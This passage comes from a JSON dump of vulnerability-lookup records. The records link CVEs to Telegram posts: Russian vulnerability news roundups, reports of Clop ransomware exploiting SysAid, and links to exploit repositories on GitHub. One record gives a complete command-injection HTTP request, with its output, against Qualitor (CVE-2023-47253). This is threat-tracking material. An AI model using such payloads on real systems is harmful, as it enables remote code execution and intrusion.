(\u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u0430 \u0435\u0449\u0435 20 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Edge), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u043f\u044f\u0442\u044c 0-day \u043e\u0448\u0438\u0431\u043e\u043a.\n\n3\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Intel \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 \u0434\u043b\u044f \ud83d\udcbb\u041f\u041a, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u0432\u044b\u0435 \u043c\u0438\u043a\u0440\u043e\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b Alder Lake, Raptor Lake \u0438 Sapphire Rapids.\n\n4\ufe0f\u20e3 \u0425\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-37580 \u0432 Zimbra \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \ud83c\udf0f\u0441\u0442\u0440\u0430\u043d. \n\n5\ufe0f\u20e3 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \ud83d\udd11LockBit \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Citrix Bleed (CVE-2023-4966) \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \n\n6\ufe0f\u20e3 \u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f \ud83c\udf4fApple \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c iPhone, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u00ab\u0442\u0430\u043c\u0430\u0433\u043e\u0447\u0438\u00bb-\u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Flipper Zero.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u2601\ufe0fCloud Director, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n8\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Microsoft Threat Intelligence \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udc1eClop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.", "creation_timestamp": "2026-07-30T00:02:55.285792Z"}, {"uuid": "7f38641d-413f-4a79-a9cd-65ffc4d6d565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/cisoclub/2961", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (7-14 \u043d\u043e\u044f\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \ud83e\uddb9\ud83c\udffc\u200d\u2642\ufe0f\u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Looney Tunables (CVE-2023-4911), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n2\ufe0f\u20e3 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e \ud83d\udd11\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Microsoft Threat Intelligence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Clop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n3\ufe0f\u20e3 \ud83c\uddf7\ud83c\uddfa\u041c\u0438\u043d\u0446\u0438\u0444\u0440\u044b \u0420\u0424 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Bug Bounty, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c 9 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430, \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u00ab\u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438\u00bb.\n\n4\ufe0f\u20e3 Angara Security \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \ud83d\udcca\u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439.\n\n5\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0440\u043e\u0447\u043d\u043e\u0435 \ud83d\udcbe\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Cloud Director Appliance. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-34060, \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 CVSS 9,8 \u0438\u0437 10.\n\n6\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83e\ude9b\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 59 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 2 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Adobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0433\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0430\u0440\u0442\u0438\u044e \ud83d\udcbd\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Acrobat \u0438 Reader, ColdFusion, inDesign, inCopy \u0438 Audition.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Veeam Software \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \ud83d\udc65\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 Veeam ONE \u0430\u0442\u0430\u043a\u0430\u043c \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.", "creation_timestamp": "2026-07-30T00:02:55.442890Z"}, {"uuid": "104ee270-cd7f-4ee5-9eb1-56cdda4f6eed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/information_security_channel/50972", "content": "SysAid Zero-Day Vulnerability Exploited by Ransomware Group\nhttps://www.securityweek.com/sysaid-zero-day-vulnerability-exploited-by-ransomware-group/\n\nCVE-2023-47246 zero-day vulnerability in SysAid IT service management software has been exploited by Cl0p ransomware affiliates.\nThe post SysAid Zero-Day Vulnerability Exploited by Ransomware Group (https://www.securityweek.com/sysaid-zero-day-vulnerability-exploited-by-ransomware-group/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-11-09T14:10:24.000000Z"}, {"uuid": "949a7d44-ffee-42c1-99e1-99a0ef3763c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/xakep_ru/14966", "content": "\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Clop \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Microsoft Threat Intelligence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043d\u0435\u0431\u0435\u0437\u044b\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Clop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043c\u0430\u043b\u0432\u0430\u0440\u0438.\n\nhttps://xakep.ru/2023/11/10/sysaid-attacks/", "creation_timestamp": "2023-11-10T17:33:49.000000Z"}, {"uuid": "dc0dffd5-8e03-4b3f-bf69-d93ee56eec50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47777", "type": "seen", "source": "https://t.me/cultofwire/1294", "content": "Every XSS is a site takeover\n\n\u0412\u0440\u043e\u0434\u0435 \u0431\u044b \u0438 \u0434\u0430, \u043d\u043e \u0432\u0440\u043e\u0434\u0435 \u0431\u044b \u0438 \u043d\u0435\u0442. WordPress \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 CMS, \u0438 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e. \u041d\u043e \u0432\u043e\u0442 \u0441 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0414\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 XSS \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 WordPress \u0432\u0441\u0451 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0430\u0447\u0435. \n\nWordfence \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0431\u0430\u0433-\u0431\u0430\u0443\u043d\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u044b\u043f\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u0438\u0437 \u0440\u043e\u0433\u0430 \u0438\u0437\u043e\u0431\u0438\u043b\u0438\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 XSS:\nCVE-2024-4619 - Elementor - DOM Based - Medium\nCVE-2023-6701 - ACF - Stored - Medium\nCVE-2023-47777 - WooCommerce - Medium\nYoast SEO <= 20.2 - Stored - Medium\n\n\u0412\u0440\u043e\u0434\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0433\u043e, \u043d\u043e \u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0432\u0435\u0440\u0445\u0443\u0448\u043a\u0430 \u0430\u0439\u0441\u0431\u0435\u0440\u0433\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c. \u0412 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0441\u0430\u0439\u0442\u0430.\n\n\u0410 \u0435\u0449\u0451 \u0443 WordPress \u0432\u043e\u043e\u0431\u0449\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f CVE. \u0413\u0434\u0435-\u0442\u043e \u0447\u0442\u043e-\u0442\u043e \u0435\u0441\u0442\u044c, \u043d\u043e \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\u0442. \u0415\u0449\u0451 \u0431\u044b\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432 <=6.41, \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e \u0441 XSS \u0438 \u0441\u0442\u0430\u0442\u044c\u0451\u0439, \u0434\u0430 \u0438 \u0442\u043e\u043b\u043a\u043e\u043c \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e \u043d\u0438\u043c \u043d\u0435\u0447\u0435\u0433\u043e.", "creation_timestamp": "2024-06-22T22:28:25.000000Z"}, {"uuid": "2082e57f-7567-4f95-996f-e341eb6f33aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/8057", "content": "Authenticated Static Code Injections in OpenCart (CVE-2023-47444) \n\nhttps://0xbro.red/disclosures/disclosed-vulnerabilities/opencart-cve-2023-47444/", "creation_timestamp": "2023-11-27T10:32:03.000000Z"}, {"uuid": "3c520280-5962-47d7-b6d2-4cd8e708337f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47464", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1989", "content": "https://github.com/HadessCS/CVE-2023-47464\n#github #poc", "creation_timestamp": "2024-02-17T11:42:24.000000Z"}, {"uuid": "cdda93a8-d0f7-4095-8d5a-e8decfe49aa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3229", "content": "CVE-2023-47253\n\nGET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"dir\"); HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\n\ndir\n\n#exploit #poc", "creation_timestamp": "2024-09-30T06:33:30.000000Z"}, {"uuid": "fcee5c55-1e7c-489d-b2fd-dc719dae4165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47014", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1640", "content": "https://github.com/emirhanerdogu/CVE-2023-47014-Sticky-Notes-App-Using-PHP-with-Source-Code-v1.0-CSRF-to-CORS\n\n#github", "creation_timestamp": "2023-12-03T07:46:49.000000Z"}, {"uuid": "5753b08e-5978-425b-98b1-2a926567aa48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3198", "content": "https://github.com/vnxdtzip/CVE-2023-47253\n\nCVE-2023-47253 | Qualitor <= 8.20 RCE\n#github #poc", "creation_timestamp": "2024-09-20T17:01:50.000000Z"}, {"uuid": "7054fa70-fcda-43ec-8174-3f16075fecb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1503", "content": "https://github.com/BaadMaro/CVE-2023-47119\n#github", "creation_timestamp": "2023-11-14T04:22:49.000000Z"}, {"uuid": "805466ca-afb4-4bfd-8864-a7ac2f19feb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1561", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP\n\nSysAid RCE \uff08webshell \uff09\n\n#github #exploit", "creation_timestamp": "2023-11-21T13:55:07.000000Z"}, {"uuid": "cc40752d-ece9-4a73-9916-06e2a5e1f748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "Telegram/CjQF1dZmoaM1fUBfkvGENLUP776SFgCIVBR2PSApxfFhKvo", "content": "", "creation_timestamp": "2023-11-11T08:58:10.000000Z"}, {"uuid": "a2a21ea5-d572-4dd2-a222-5f2f7c24e967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "Telegram/otaVWtF_nu3f6o-skFv4SWvLt2xwDV3NOvHE0hYwoHmxK5Ux", "content": "", "creation_timestamp": "2024-09-26T10:48:28.000000Z"}, {"uuid": "2ccb3285-56d4-4e9e-a041-970a12320744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47503", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/9503", "content": "#exploit\n1. CVE-2022-40635:\nGroovy Sandbox Bypass in 